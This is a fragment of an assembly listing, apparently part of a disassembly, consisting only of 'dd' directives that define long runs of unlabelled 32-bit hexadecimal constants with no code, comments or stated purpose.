		dd 56008066h, 29F1E64Eh, 3BA8B7EEh, 0CAB2AE5Ch,	54202416h
		dd 0D2C418F1h, 520E1D9Fh, 82101CA6h, 0CF135D8Fh, 61DBAEEDh
		dd 0D5616263h, 0A2C3A91Ah, 0AAE926C8h, 0A8438D8Ah, 9C36D865h
		dd 9725C970h, 3F485614h, 5FC1CCAEh, 2D4C4163h, 51630342h
		dd 1C0C00D7h, 65AD6ED6h, 9A16598Ah, 5816BF89h, 0ACA9C4D7h
		dd 0CDBC8BFCh, 4B1F9018h, 0A3664FCFh, 0C04778D2h, 0F32F83FEh
		dd 0D3215928h, 9E594C5Bh, 768C531Ah, 5F7C13ABh,	9F0AF0F7h
		dd 0C6AB40A1h, 2FE29EEAh, 737DCFCEh, 33273C39h,	46F87B2Dh
		dd 0AB7E0ADBh, 0A7171283h, 0D659079h, 5C9A7538h, 0E9B260C7h
		dd 163A363h, 6B0FD75Fh,	0D46FDC7Ah, 0A3ECC9C5h,	2E78C8E2h
		dd 9D84C611h, 48C3D3A5h, 0D75EE00Dh, 0B4F0B61Dh, 6E7269ADh
		dd 245B7736h, 1362F33Bh, 4E0C3C50h, 0BAA96D50h,	0F548137Eh
		dd 85794831h, 10E3BE73h, 832A1D88h, 1B9B6655h, 82567990h
		dd 2236F4AFh, 19A1CA09h, 0A9E95DCAh, 5F8D5319h,	6CCCC85Eh
		dd 5AFA0178h, 83EF5952h, 546CB605h, 0E29FA030h,	5D5A67CFh
		dd 83040B66h, 74B1437Dh, 56167E7Fh, 0E84DCF10h,	7234F985h
		dd 0D0B70A9Fh, 4C2115ACh, 0AE4DCE0Ah, 0D1637BD8h, 0C087D852h
		dd 32CB379Bh, 7C64AA45h, 4C6341E5h, 8D19C45Ch, 5E668B30h
		dd 467A0473h, 8C191881h, 5FC2CDBAh, 0F22AB2h, 2B01599Ah
		dd 8E85B017h, 0E941B219h, 5EC50B47h, 2B01AD2Dh,	344969E0h
		dd 0D772DE55h, 0E6B00C35h, 9FBDE7C6h, 4ADC1A7Bh, 6B51E0F3h
		dd 0EE2E938Bh, 0B5BFBD0h, 388FB5CCh, 0F9B61D97h, 75DFD51Ch
		dd 8895557Ch, 0C49EBBAFh, 0CA984D2Eh, 6BBAD2B0h, 4251E1Bh
		dd 0C888C2ADh, 64A9283h, 640F0C9Bh, 0E6F78F28h,	97AC148Bh
		dd 6329A24h, 0B4A72C0Eh, 0DA327DB6h, 0B8BF4F3h,	0CB08AC70h
		dd 21CA668Ah, 6BA06F8Eh, 0A89D1295h, 0BC7C7F22h, 973CCC99h
		dd 63A2CA69h, 712AAB5h,	2841D134h, 2DCE8535h, 13B3AAC9h
		dd 8AF6A36h, 4BB73A8Ah,	5C00AB15h, 0C403B01Bh, 77412D2Ah
		dd 37E0D6A4h, 79522B4h,	9C481136h, 0F6ADB25Fh, 49E225C4h
		dd 34C5E5B0h, 0FD4D9D30h, 90515BD7h, 0EC768F57h, 0CB248DA8h
		dd 6958E12Fh, 485F7701h, 5D0FA517h, 0FECEFFC2h,	0BD9356C6h
		dd 2A676858h, 698BA52Ch, 176F8561h, 9901592Fh, 936D958h
		dd 89600A48h, 0EF786BB0h, 0A8E0E0A6h, 7EBBE905h, 0B98A154Eh
		dd 1E611CC6h, 30E71E64h, 0E3FDD224h, 782F5985h,	7BC7DD8Fh
		dd 3A49FA69h, 1CA82AF9h, 0AAE379B6h, 89517A96h,	741B48F9h
		dd 4D6EBBFBh, 0A0674DF1h, 0E442F01h, 9AC7169Eh,	0F10B41FCh
		dd 43B3197Ch, 217D4D77h, 0F367BA77h, 0C75C044Ah, 0B62E8D3h
		dd 0FE5D1D0h, 0AA7E6DC8h, 18A5248Bh, 4C4A2D61h,	4F7C12CCh
		dd 0CFB3F5CBh, 0E294993Dh, 88E4D367h, 543AB151h, 1DA23628h
		dd 0FD05AA53h, 0F835219Bh, 0D6938F64h, 353B175h, 7CD6525Eh
		dd 102C3F70h, 0A2DA48E8h, 84F8C85Eh, 0BCC73BD9h, 0CFE2CD75h
		dd 57118EA9h, 67D9B3A9h, 0E5DBE6F6h, 86FAF0h, 0E14009BCh
		dd 0AE4E7322h, 0EEAFB580h, 197E06BDh, 0FEB3236Ah, 419B5650h
		dd 30164106h, 9C1FC44Ch, 0DB8C8B28h, 3391BF73h,	285C91DCh
		dd 1BC9F1B9h, 0FECF855Eh, 58F15976h, 6DC8A361h,	32EAD31Fh
		dd 0B0A303ABh, 0C3E78D25h, 0AF9503F7h, 7308A2E0h, 0A6CD79A8h
		dd 3010FB53h, 0F02DEB82h, 94F69133h, 0A5F395D2h, 0C81211A9h
		dd 198FE2ECh, 0F1EE972Ch, 602BF9B5h, 8AF36AE0h,	0C00477EFh
		dd 0F60F1BBh, 7BABC994h, 8EF8419Dh, 651D87ABh, 82A1F914h
		dd 0ECFC0CB4h, 4F0FED68h, 0A336F80Fh, 5F9E52A9h, 40A73FE7h
		dd 134605CAh, 0E3DEA474h, 418E0F2Fh, 9A8F2EB9h,	0BACCE5D9h
		dd 0E26EF85h, 0E09D840Dh, 0A752E1E4h, 135B3505h, 0D7867953h
		dd 0F049245Eh, 0EB668B87h, 5457D575h, 7CE7605Eh, 0B3C8370h
		dd 8402F3A2h, 0D513A28Ah, 8091500Ah, 0A4EF7ABFh, 0A8EF72D2h
		dd 39DB512Fh, 0E5DBF7E9h, 3C127581h, 0A4D693A7h, 50B124ACh
		dd 0E1AAC07Fh, 0E0768641h, 56248C28h, 0CC125730h, 87E94035h
		dd 0F04CB16Eh, 11A74D3h, 0F56CA3FCh, 0D8F34820h, 5D89F5A6h
		dd 0C7B82B5Fh, 38613336h, 1DB01B56h, 8A3BFDC5h,	0F1877754h
		dd 0FF0A8550h, 1042FD38h, 2FBDDE65h, 34ADB0ACh,	9FBD8A6Ch
		dd 5F59BE2Eh, 0F2C9428Bh, 8BDBAAD6h, 4CED0C28h,	8AE06739h
		dd 8CB3653Ch, 747E76BFh, 5E1F8328h, 21E7CFA1h, 0C8C50A9h
		dd 7BD1D880h, 21F76E19h, 0D1E015Fh, 0CE6535FEh,	0D4B58EC4h
		dd 1384ED48h, 8B198D76h, 6327A053h, 15DDD1DBh, 1CDF6DCCh
		dd 5A805630h, 94DE2D97h
		dd 4C649B77h, 0E53A293h, 0B7449ED6h, 46F4B163h,	0EB0E801Bh
		dd 4C414336h, 1A9BFF90h, 0F8DB0895h, 280E5764h,	0E25407h
		dd 7CEF0C5Eh, 47202D70h, 91CA6F07h, 91924709h, 2286DD86h
		dd 37A212FBh, 100BA9C7h, 153FB040h, 47A9CB1Ch, 93A6645Dh
		dd 4C2105D4h, 0AE4DD020h, 6715C604h, 37333CD2h,	7B1B4215h
		dd 1477DEDBh, 859FEB1Ah, 99362885h, 0D4196328h,	0F5175767h
		dd 17281CA3h, 9FF5F627h, 2DA488E3h, 1CD2BCEFh, 67EE0F8Ah
		dd 0C7B4515Ch, 90DEF3EEh, 0C80DBF6Ch, 464E527Bh, 76939B62h
		dd 1BF5BB25h, 0CFB81329h, 2EFC4EF0h, 0C21EC29Eh, 16289D2Dh
		dd 0BB3A1E0h, 0B2E9A730h, 7B3E200h, 480B39E9h, 0DB7A28A8h
		dd 28E63104h, 0D6C96773h, 6F57470Dh, 0FA507BC4h, 0D8C595E9h
		dd 2833571h, 0C4F38F3Bh, 0CC1F872Bh, 719896Ah, 7812FF04h
		dd 0A8343997h, 0BF7E0BC2h, 0F78DA69Ah, 4C1EAB23h, 1BC1EE88h
		dd 8326683Dh, 0A7CC3105h, 931E686Fh, 61A5B118h,	0E84134ECh
		dd 0F81CD5ACh, 0BDA46427h, 0A3B67285h, 52BAF5CFh, 8E0A06B9h
		dd 0DA18220h, 0E8158A61h, 8BEB3D08h, 3AB51454h,	0AEB3EAE9h
		dd 475452h, 1755CCFBh, 7CF399Ch, 0B5490703h, 0D1D6275Dh
		dd 0E8677D2Dh, 5463398Fh, 998CFACFh, 0F024BBD7h, 786C7EA4h
		dd 97E93B5Bh, 388CA628h, 0ADBED57Bh, 0C11B02A6h, 24CE4E8Ah
		dd 4C0DE590h, 0BEEC0E92h, 7C12590Ch, 71DF50EBh,	0B82D344h
		dd 0BC2103ABh, 0D8820623h, 6641E1D1h, 0FC6F1FA9h, 4939060h
		dd 13F8DCBCh, 0FD5A5BF4h, 0C1810F80h, 0A872D35Bh, 1BED7D77h
		dd 925E33B0h, 0F82679D4h, 844FA02Fh, 0EBFB48ACh, 0C46F266Ah
		dd 0A91966EBh, 8C92D6B8h, 700B6B6Dh, 10B03DCh, 0BD244538h
		dd 3C799400h, 0EB54B343h, 0EAD55050h, 30354103h, 533C35CCh
		dd 0B1A486DFh, 0B0785B6Ah, 1C3BB835h, 5DE96B60h, 0D8B56CCDh
		dd 580E19A3h, 0DA177FAFh, 56634631h, 0C9A035E8h, 0A3E9EFD8h
		dd 69493F48h, 0DEEF515Dh, 5C010575h, 7C13CA5Eh,	0CA2A6F70h
		dd 9E8AB39Ah, 2B07E0F4h, 3E30DBFEh, 27E69722h, 0A194DD5Eh
		dd 54DA9A15h, 912FBB16h, 0C03D1793h, 0A6C27A04h, 0F5134C4Bh
		dd 0F7636CDDh, 0FE7E001h, 11CB1EEEh, 99DEDABDh,	9DE256F3h
		dd 604A2DF8h, 7322ED29h, 925595h, 0BE09F49Ch, 0D6C9F5CDh
		dd 6E625853h, 88CE0A36h, 4E26B496h, 8F653B4Ch, 0C95FD28h
		dd 231BC1A2h, 2FAE1DE3h, 0FC631B2Eh, 0B229B327h, 1C6D63CBh
		dd 28068B39h, 1D27C68Eh, 0BEE145D0h, 0E739F27Eh, 0C03A3EE4h
		dd 0FCA0D09Ah, 0DB3A5B58h, 376F9F5h, 0C4909F36h, 5F98A38Eh
		dd 7B3E4B84h, 21F8D135h, 8D0A4FF5h, 82243B01h, 0D40FB787h
		dd 79F0DAF6h, 0C4D55C6Fh, 0C49E8ADAh, 6D3CC669h, 0C7469632h
		dd 15274C3Ah, 0DA074766h, 590963DEh, 307C1A31h,	0D4E0A23Dh
		dd 21B36877h, 62234EE7h, 48284361h, 0A124A308h,	4F9571D5h
		dd 7BDD0B8Dh, 5AC36DCh,	7CF722BEh, 4BEA6274h, 0E27D5BEAh
		dd 0D41EF6A9h, 8BB7EE0Ah, 0AE2FEB3Ch, 0D65094FBh, 9C589DE9h
		dd 99D02FF1h, 0F1B6E034h, 29E04B0Eh, 0EBC41FE7h, 1BFAB2DAh
		dd 0E6F2F0EFh, 0D0230137h, 0A7945BFEh, 8178EA6h, 0AB319BF7h
		dd 216E3021h, 6D90DE91h, 8A10E49Ch, 7B417E76h, 7E825CE3h
		dd 83311C5Dh, 0F235DF9Ah, 0B0E97A4Ch, 793402ABh, 96E54DDAh
		dd 7E079FA3h, 9007CB66h, 0A48A30A6h, 8A08946Fh,	0A39F1875h
		dd 1F415ADFh, 0FE25B66Ah, 8871C120h, 0A26F355Ch, 0F90FE5F8h
		dd 5E29133h, 1378B8B7h,	0C593344Bh, 0A52AAC80h,	0F202D2C9h
		dd 618EDA7Dh, 84B2CF86h, 872A0F0Dh, 0A8A5C38Fh,	0D3863D11h
		dd 0FE20A61h, 489E62D8h, 1AB6CDD3h, 0A79DBC1h, 8185257Eh
		dd 943E12EDh, 0A1A9118Ah, 5983A046h, 65679E10h,	5F4CD5ECh
		dd 0A6A2B182h, 1EA4416Dh, 0F8CC10DAh, 0F443E416h, 753D4E55h
		dd 0B5AE0449h, 14038AE6h, 4BEA7A04h, 9E837589h,	1293AAF4h
		dd 0D73CCEE2h, 0D18E32F4h, 0DE48E3E8h, 9C5DF186h, 0E56195F9h
		dd 4A6D2907h, 0E0A185B6h, 104290FEh, 1667C66Ch,	23B684F8h
		dd 0FB20F7FFh, 4C5DBEC7h, 1B271B5Dh, 94366872h,	75A19561h
		dd 0E06D12DBh, 5C13119h, 1870A88h, 6E9BF558h, 76191CEDh
		dd 66DED798h, 0C0643B48h, 7932732Dh, 964979A6h,	7E001FA3h
		dd 29058D66h, 4465F401h, 0CF83D755h, 5CF1B095h,	7C120724h
		dd 1DE46F6h, 5E731079h,	1A3F3730h, 0A5C73FA9h, 57A4D14h
		dd 8EA325C0h, 2C3F0579h, 0A0635D33h, 0F1B702C3h, 348F2A68h
		dd 71E0FDh, 8FF1B34Bh, 0ACA04C34h, 0E60FA6CAh, 9D50C112h
		dd 84EAE816h, 0D54108D5h, 0B3A18631h, 0D889972Eh, 1D4A7C32h
		dd 588B6398h, 60A3C574h, 2DE4FF55h, 550E57EEh, 45D8F1E6h
		dd 9E9189E7h, 0E379D516h, 271CA416h, 6C5B5848h,	14AF0589h
		dd 0F91B9585h, 0C11A0586h, 22FDFD24h, 8F44AF4Fh, 15610583h
		dd 770353E1h, 0DC464A64h, 0E9D2956Dh, 66D2D695h, 3F489951h
		dd 0DA297A0Ah, 478DA5E6h, 92EA39A7h, 9CEB7138h,	738873C8h
		dd 0C664A8F4h, 0A4AD35FBh, 7EC92DFCh, 7A7F8CE2h, 869090E6h
		dd 0EB955D52h, 4507F244h, 760EB3A1h, 7C06D000h,	0FCC55E59h
		dd 0B6363638h, 916713DEh, 0C8B8BB8Ch, 0A0E0D27Bh, 7AD81863h
		dd 0A7975992h, 0CF604E51h, 56508B6Dh, 50C2BD24h, 0E65C3DDEh
		dd 5DA33E20h, 4D0361C6h, 0BBC1683Fh, 5ED27698h,	800CDE6Eh
		dd 3B396DF6h, 5F98CFC1h, 9388395Eh, 8EF8D23Bh, 84424E81h
		dd 37984A4Dh, 55F4358Bh, 0C70C06D0h, 71034551h,	968E9E08h
		dd 33E6C55h, 4A466CA4h,	42785B7Eh, 110BF069h, 515911D8h
		dd 9F4CD625h, 0C12FE5AAh, 5F19433Ah, 0AE7632FDh, 9DA49C3Eh
		dd 894CA20Eh, 0A648EF0Eh, 28D34068h, 0AC4D328Ah, 681042B6h
		dd 4C96B6F5h, 618AFB5Ch, 57128F0Bh, 0A1D51642h,	0A2E6DB75h
		dd 41668A1h, 63A7F3C8h,	184E0A76h, 904C5DC8h, 43C14908h
		dd 2DB26B64h, 0D56335ECh, 21F1F338h, 0F78EFFACh, 299990DDh
		dd 4FDE3DA2h, 14C86811h, 0A130E25h, 6E903D77h, 149E29Ch
		dd 6A14918Eh, 795828BAh, 99FD9DE5h, 90B2211Fh, 46074F4Eh
		dd 29C8461Ch, 0C8447ACEh, 0D78A7EE8h, 2CD7A15Ah, 864C29Dh
		dd 0CE8F1AC6h, 0A16D6B7Dh, 6B4D3324h, 4A954E1h,	0CF33B2DFh
		dd 0CAA85AB5h, 0E8316A80h, 0EE367357h, 3F32324h, 2D90A9A9h
		dd 5F9CA390h, 6ACF30D9h, 4F82C47h, 0E90D070Fh, 7E1A5E58h
		dd 0C073B788h, 0CA4A661Ch, 775CB29Eh, 0CF817A3Bh, 14B8D186h
		dd 65E09231h, 1600A600h, 2E71179Ah, 0A6F6D760h,	6C076632h
		dd 2A60A1DCh, 5D40FD65h, 61FEBD4Dh, 95F4CA6Fh, 6B2FD59Bh
		dd 2F1D2416h, 42C313F8h, 0AC6D2C88h, 18164CE6h,	0B7819A20h
		dd 0A5F6F99Eh, 0C06F0107h, 0BEC09DF5h, 37E6387Dh, 0A8E2DC9Fh
		dd 909D192Fh, 1AD82E12h, 0B5490735h, 0C89A8505h, 514D949Bh
		dd 6B0AD11Bh, 0D870F344h, 0E01CFDB0h, 5CE6ABC6h, 13E97621h
		dd 443FA8B1h, 90907430h, 0FEFEE49Ah, 0F31418D9h, 96ECA5A9h
		dd 5B82A5Fh, 82E255A2h,	2D445C8Eh, 706C7EC7h, 7F52FFEEh
		dd 41AAB52Dh, 6662EABDh, 14F1B59h, 44650C37h, 0CF830755h
		dd 4B17C682h, 944123C9h, 752D4E51h, 55EF4865h, 14834662h
		dd 1DC53C7Ch, 0FDC526D6h, 1386DE67h, 3B63141Dh,	6474AB1Fh
		dd 0F84439B4h, 0B25A3AE0h, 8CAB035Ah, 0C2A136E6h, 73A61B74h
		dd 0DD07B094h, 82D115E5h, 0B31F9AD3h, 0F3B0FEF0h, 277EEECEh
		dd 260A630Ch, 5109C466h
		dd 0FD6CC90Bh, 0F835E10Ah, 455D6A10h, 0AEB30360h, 0B8AE7F99h
		dd 9E9BCA6Dh, 0FBC3CCA3h, 0CC5D2395h, 28F240C9h, 3635D609h
		dd 7C6DBE71h, 21ECA9F3h, 65308521h, 53F3A05Bh, 553C6CC2h
		dd 0E0651530h, 0DA3155D7h, 0CB09E903h, 1A6C5E31h, 0CC72876Dh
		dd 0CE09B348h, 2E0818E4h, 0D0C3C326h, 5CB68128h, 68DA190Ch
		dd 0B6678443h, 0F4D23D55h, 0A59273ABh, 2726D6CBh, 913B2EFh
		dd 0F19185Ah, 0CE93A39Fh, 660D55FEh, 0EF51D90Eh, 927DD19Eh
		dd 9F1B61Ch, 27D1FC54h,	27B58559h, 0DF956B8Ah, 0FD5B1A26h
		dd 4A391AE3h, 304CEC45h, 200ACE7Ch, 0B9306425h,	83297651h
		dd 0E883DF2Dh, 0F805CB9h, 0A1B3D60Dh, 3F351377h, 0FC0C6DC6h
		dd 0D0073925h, 0B78CA78Dh, 84443679h, 0B136747Eh, 8D4E3165h
		dd 82FC3B49h, 0C5CBCB31h, 1100FA54h, 8034546Ah,	1F7217B5h
		dd 7348CB85h, 0CA883494h, 0D88D309Ch, 0DACDC467h, 0B740BB03h
		dd 12EAE67Ah, 7EB1A5D6h, 0F73384A4h, 0AF07D708h, 910C430Bh
		dd 0AACA2E90h, 0A854AB02h, 0EBF32587h, 53936788h, 239B8D0h
		dd 0C819D58Fh, 0E2EAE8A2h, 2BE69AB6h, 0D2B727F5h, 760C5D85h
		dd 0D42AF6D1h, 1F3E48B3h, 1E501A9Eh, 815DCC18h,	0AB399E6Eh
		dd 51331222h, 25E5C148h, 0A5230C29h, 2ADF0EE4h,	13B1BC4Ah
		dd 2D9DED9Ah, 6C09AEE4h, 17A96373h, 50115778h, 475A9BD3h
		dd 4CD7D5A6h, 0E484DDE6h, 0F9A90922h, 0E1A05CD9h, 0BD013788h
		dd 28965CEBh, 0EF11C2Fh, 4BF79FADh, 788E93A4h, 0F57EF475h
		dd 0BAAD2339h, 5F5CEB75h, 50376D24h, 0ABE48BC2h, 581DA3A9h
		dd 0B72C935Fh, 0F926A53Fh, 0D8C584F1h, 530F35DEh, 2C66ECADh
		dd 0A063434Fh, 0F2AB0CA5h, 0C864DF5h, 784C1E78h, 435A35D0h
		dd 2C734CE5h, 0B90B06BEh, 0D4A241CEh, 383FFBD6h, 66A753DBh
		dd 0F4469D79h, 83CE2D2Dh, 0F1814A4h, 0EB88B203h, 10073E48h
		dd 68F15DEh, 314B096Bh,	78D5B96Eh, 0E3F03AADh, 8BB72F0Ah
		dd 0AB43E7E6h, 2834648Dh, 50701209h, 0BFF777E9h, 6FA2AD23h
		dd 15536969h, 16F7B605h, 8F3D9875h, 0D771F627h,	0C484228h
		dd 0D0D339A3h, 9142064Dh, 4BA7D049h, 2F2148ABh,	0BAA69DC2h
		dd 67EE758Fh, 87766B72h, 42BD7696h, 82992370h, 584435CDh
		dd 8CBCFF61h, 95BE5BA6h, 0CB190129h, 127314F8h,	0B8B4DC3Bh
		dd 22AE8C5Dh, 0A7351AEDh, 12154D8h, 6517B848h, 3C4301DEh
		dd 48A3B359h, 0AF03B2BCh, 0FC2D5AE3h, 90309861h, 3FFB35B0h
		dd 0F0EC5023h, 0B0E01D8Dh, 163FBEDEh, 0F4B0B6D2h, 0CAACDCE0h
		dd 0F0C72544h, 0FAB292D7h, 0E8C0D9ABh, 4D5D004Fh, 1C63B2D5h
		dd 5FFF472Ch, 7541A029h, 0A90A0CE3h, 8428D741h,	0DFAEB958h
		dd 0D159BEA2h, 0A3008F2Fh, 749D263Fh, 3A71DC8h,	125269B9h
		dd 0CDA9E0FCh, 0AD8A0159h, 0E0098885h, 0E8E5E0B9h, 7681134Bh
		dd 3977096Eh, 6205B96Eh, 0E8852818h, 39712E26h,	576562FDh
		dd 6D7CF17Ah, 606371AEh, 281727C3h, 717F3254h, 0E88CA8EAh
		dd 0CFF6EA4Ch, 0C6E53281h, 0AEE8D8BFh, 139AF9B5h, 0E4DB1A34h
		dd 1D511A75h, 0D093A89Ah, 2F294992h, 515DBFD7h,	7ABC34FEh
		dd 0E30CED86h, 1B1B42FBh, 0DAC00815h, 0D341E8A9h, 51D10840h
		dd 70A100D4h, 92E2DC6Ch, 42120836h, 812FE1F7h, 0D71FECB2h
		dd 85D6D06Fh, 0B45554E8h, 9BADD739h, 0CBE507DEh, 3E2FB64Dh
		dd 6398008Ch, 47F18E81h, 0A2EFDA50h, 0F59BD31Dh, 2A3755F6h
		dd 8F4F929Ch, 0EE0B8659h, 82411EABh, 0DE0517Bh,	8130B49Bh
		dd 8F4E4138h, 13E8E438h, 4F6E9BC1h, 0A08CEAFEh,	93EDD86Ah
		dd 8EF8C838h, 4D8EB7DCh, 1FAEF8Ah, 0F715C044h, 0CB84BDD7h
		dd 0EAD76255h, 689D263Fh, 0CD480883h, 597FDAB8h, 0D1785B25h
		dd 0A730A388h, 77286D76h, 18E62548h, 0D3C49EDCh, 0DF47DD3Ch
		dd 0CED55491h, 145C413Ah, 0C950DFD8h, 99630FE9h, 7AE180F1h
		dd 0B8B02475h, 8373A68Ah, 0CE82FAF3h, 0E86C95A1h, 8F5DBCF3h
		dd 8093A5D7h, 2BC4427Fh, 0AAA7DA44h, 1701D5FFh,	9134CE3Dh
		dd 0D35CE06Dh, 0F42FD01Ch, 0FD49EB6Fh, 0ED147359h, 0D0378180h
		dd 3ED304E9h, 577223DCh, 0C9437DB1h, 5425AFF1h,	0A1DCEBAh
		dd 0C16E12F3h, 3A7118B8h, 2CC4FAD2h, 0EE7BFA2h,	6264A666h
		dd 0ADD02961h, 15D9AF59h, 321686BBh, 0F3DC0F81h, 3450D310h
		dd 1E0A87A5h, 90B089DAh, 3632B938h, 0D6300B08h,	0C396127h
		dd 143D02Fh, 1E54A755h,	5974A725h, 3B17C876h, 0D8DA8849h
		dd 530ED50Eh, 0CB6FE9D2h, 0A09C2CBEh, 0E451855h, 0D112FA33h
		dd 8517187h, 0FDB4DD94h, 310F5524h, 421A135Dh, 684C05D4h
		dd 929DEBC2h, 94B7C5D8h, 0CDE4815Ch, 5B682D34h,	0D90C4B85h
		dd 0BFA4BD95h, 1CA3E5CEh, 426D9DAFh, 2E2D099h, 0A000A4E7h
		dd 0B98BDA6Dh, 1042AE95h, 0D11F5BE8h, 0DB8C1A8Eh, 2298BE75h
		dd 8479DCD9h, 1AF9C58Eh, 9CAA67ECh, 3C711FF4h, 0D63722CCh
		dd 1216C7EDh, 476D7467h, 62A14FBDh, 0F26B05FEh,	0C0B62FCBh
		dd 4F417A4Ch, 235DBF73h, 6D14C934h, 231B5B00h, 0C2DB7661h
		dd 0DB7C3C53h, 0CD9BA91Ah, 0A736D377h, 1B496323h, 0C9CB5750h
		dd 0FB629D2Eh, 4BD40A35h, 0DB7A2323h, 3C69099Bh, 4AD05C7Bh
		dd 5D203B4Fh, 5C2ED643h, 856C7359h, 60F89FA3h, 0AF434B66h
		dd 0F9EDF0A4h, 0A181E339h, 0A058E279h, 6B2F0756h, 9427212Dh
		dd 8F80A520h, 0C06D5AC5h, 0E5C262FCh, 77C13E07h, 0F84C7093h
		dd 0C497B94Ch, 0DA1107C6h, 844586C5h, 93757B6Ah, 0F29687Ah
		dd 0AA21ACD4h, 9B0FBA4Dh, 0AD032B42h, 6C01E630h, 8879EAAh
		dd 5E434B4h, 0F4975DEh,	0E778A388h, 19245307h, 7A4FB6Ch
		dd 723AF5CEh, 0D2386740h, 5A712873h, 0AFADB08h,	2702A06Dh
		dd 1FF3BFACh, 90A67416h, 27378BFAh, 0AFA4388Ah,	7E900C71h
		dd 8D5E3670h, 61C8FC64h, 0D437E01Bh, 3AA73A8Ah,	71BEDC29h
		dd 0A89515BFh, 7E1082DFh, 1A535A09h, 0AAB69404h, 0CC2D5517h
		dd 0BE4CB75Ah, 0ED15B4D8h, 0D0E6E880h, 72CB781Eh, 5D5BD029h
		dd 0A00346B5h, 69D92DB8h, 5EE58428h, 0B3F86736h, 47318C2h
		dd 4944EAADh, 0F15886A7h, 0BEF1A5F0h, 0C44D9A10h, 4FBA2339h
		dd 0D9DE27EFh, 60F1F62Fh, 5405B2BCh, 1B48182Ch,	7BD29DAh
		dd 117BE339h, 0F3ABB023h, 6AEDD18Dh, 0FE9997BAh, 63973730h
		dd 49715BA6h, 4D93180h,	4BB790DCh, 3F851066h, 0C40256C0h
		dd 40F416DCh, 28BA733Ch, 8D9304C2h, 4BC86B7Bh, 99D559D1h
		dd 20B4CFB7h, 0C08689F1h, 831881EFh, 0C9EB71D3h, 95486E5Eh
		dd 1CB99179h, 88CA5CAAh, 252E5291h, 0C385FE94h,	9298BB90h
		dd 0BB343079h, 19F87657h, 0EE8B1FAh, 761BA26Dh,	0F8A12A5Ch
		dd 0C2E1D88Ah, 0FF72A487h, 0A861A6FFh, 945C4149h, 20765832h
		dd 9348C61h, 0D43AEE14h, 42389F59h, 0AEFE9FC8h,	239577B0h
		dd 0ABD0EDF0h, 6ECDDF77h, 0E4E2170Ch, 0E3A25D09h, 0ACC4D58Dh
		dd 2C8C4C5Bh, 0E3A4EB00h, 0DB27E0B7h, 4C6406DAh, 6816451Ah
		dd 2F0F9A73h, 1926DFC5h, 0B9C2B2CDh, 4D124FFFh,	3C417CC9h
		dd 0F24FA02Ch, 8E20008Ch, 0C5390599h, 25C44EB2h, 0BBCC42E5h
		dd 26D79FFh, 46EE45E6h,	279DCD59h, 0FF643424h, 0DC6D0339h
		dd 0B07FCFD9h, 0E0C65258h, 158F23D6h, 32DE0228h, 78A12AE6h
		dd 0A31BFA7Fh, 4B63AD35h, 5F7A6620h, 0D1977546h, 4F9CD2C6h
		dd 7C6AB0A7h, 99540F34h, 0F2BE954Fh, 0BC612A8Fh, 64307513h
		dd 1F67CDEBh, 974C0A7Bh, 0F3622ACDh, 939B5009h,	20466DEFh
		dd 0C70D5F32h, 0A3A25291h
		dd 8855FE94h, 0B06235BDh, 98783D74h, 0C63565EFh, 688EB570h
		dd 1A5A9C3Eh, 6142C043h, 3A334053h, 24B00730h, 3034D509h
		dd 7DE87C71h, 0B55F4870h, 61D2A909h, 0DC4E181Bh, 29D35262h
		dd 0AEB7440Bh, 22B6B854h, 759B9B48h, 1A3B28FCh,	44B50E6Eh
		dd 982D402Bh, 45B8C0BBh, 11600AB6h, 0D887D4FAh,	0CEAF585Eh
		dd 5D70A39Bh, 12294729h, 85091C73h, 52E5891Ah, 0D11A54CCh
		dd 445FD89Bh, 8740F64Eh, 5E5BDDD3h, 0C16D5D10h,	567E82ECh
		dd 7534FB78h, 0B0BA3990h, 0B9443097h, 731296FAh, 394BE525h
		dd 12644D04h, 0C9B21170h, 2DC88C72h, 55CD2EDFh,	0F1A421B4h
		dd 0B59C8097h, 7992D7AAh, 7122F5FEh, 8BB4425Bh,	0B85D0C7h
		dd 0C0145966h, 87E21F92h, 7A45874Eh, 0B1360544h, 8D43616Dh
		dd 12BED55h, 0C08484D5h, 537AC01Dh, 825C3EE9h, 5EA226D0h
		dd 0ACB739A9h, 4A792860h, 0C0BB378Dh, 0C4BCE6Fh, 0AA8B599Bh
		dd 3155B227h, 0A8BA002Ah, 0FD4F8FC0h, 90A93C48h, 9E03A23Dh
		dd 3DB13A53h, 5067A42Dh, 225C2BCAh, 541300E0h, 7F9AA45Eh
		dd 0F63B6370h, 9EB7355Ch, 573BA1F4h, 5532A36Fh,	52EFBDC9h
		dd 0BEAD82B0h, 9C5A6AD9h, 4AFB4F6Ch, 0C0804B01h, 739E200Dh
		dd 0DBB2E9D7h, 7C81A703h, 5870EA8Dh, 6E1BF2ECh,	0C5EEAB79h
		dd 17FB0E25h, 68F8749Ah, 0B0E4F786h, 4325585Ah,	0DFDC95FCh
		dd 9CECA69Bh, 6717D547h, 0D6BAFDE1h, 0B2C80C66h, 67F03B76h
		dd 4A65176Fh, 5C630B02h, 295EFEA8h, 0D61E1EA5h,	97D92460h
		dd 11F4AE81h, 0FED77C86h, 7D80A724h, 11406E7h, 30E392A3h
		dd 596EE47Ch, 10E754C0h, 77D86E1Ch, 0EA35620Ah,	0C469B7F7h
		dd 0B721431Dh, 844571F6h, 7107A15Fh, 0C6A9577Dh, 1B5E66B9h
		dd 8C44785Ah, 0B60F0C9Dh, 0F0E87EB9h, 0B98AAAD3h, 0ED48C723h
		dd 3E3061EDh, 85CD263Fh, 103BB84Fh, 8E417175h, 72FABC3Ch
		dd 71F49DB0h, 0B837F58h, 1F28CF1Fh, 47C452E9h, 0B5655ACh
		dd 58D99B16h, 0C275F8F5h, 1F44C5FFh, 9E93410Ah,	898C998Fh
		dd 0DA85056Dh, 0DA5840F4h, 5B40C83Dh, 4F88CA31h, 4764D661h
		dd 9C6C8088h, 0AFD6EE9h, 0C10D18D6h, 0D1D1BE32h, 46331516h
		dd 0EDB39231h, 9D1BA61Fh, 22248188h, 0EF729026h, 0B816BBECh
		dd 34C9CF21h, 1E51F108h, 0A79269C4h, 0EB9041DBh, 8CBB0E5Ah
		dd 785214DBh, 83852C9Fh, 0AFD7B4D7h, 2819C417h,	0F8468C5Ch
		dd 874AA958h, 5463C113h, 0A92F5E44h, 4D4A0850h,	0EE2F3307h
		dd 324C0224h, 1753A920h, 0C61A4012h, 0F430A9A5h, 0B632DB46h
		dd 0EDBA8D0Ah, 0D1D4F0B4h, 0EB48E05Ch, 3B953B92h, 0B45EF73Fh
		dd 0C7CF2AE4h, 8EEBEE81h, 0C8CC1892h, 0F75EC099h, 0BAECD143h
